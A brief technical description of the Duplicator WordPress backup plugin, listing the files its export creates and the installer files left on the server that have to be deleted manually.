Duplicator is a WordPress plugin that can be used to create a complete backup of a WordPress instance and restore it on a fresh server. The export method generates 2 files:
- An ZIP archive with the complete WordPress files and Duplicator specific files:
- A copy of the installer.php script: installer-backup.php
- A SQL script that will be used to restore the database content: database.sql
- An installer PHP script to restore the archive installer.php
When the installer.php completes its process, the following files remain in the directory and has to be manually deleted:
- The ZIP archive
- database.sql
- installer-backup.php
- installer-data.sql
- installer-log.txt
- installer.php
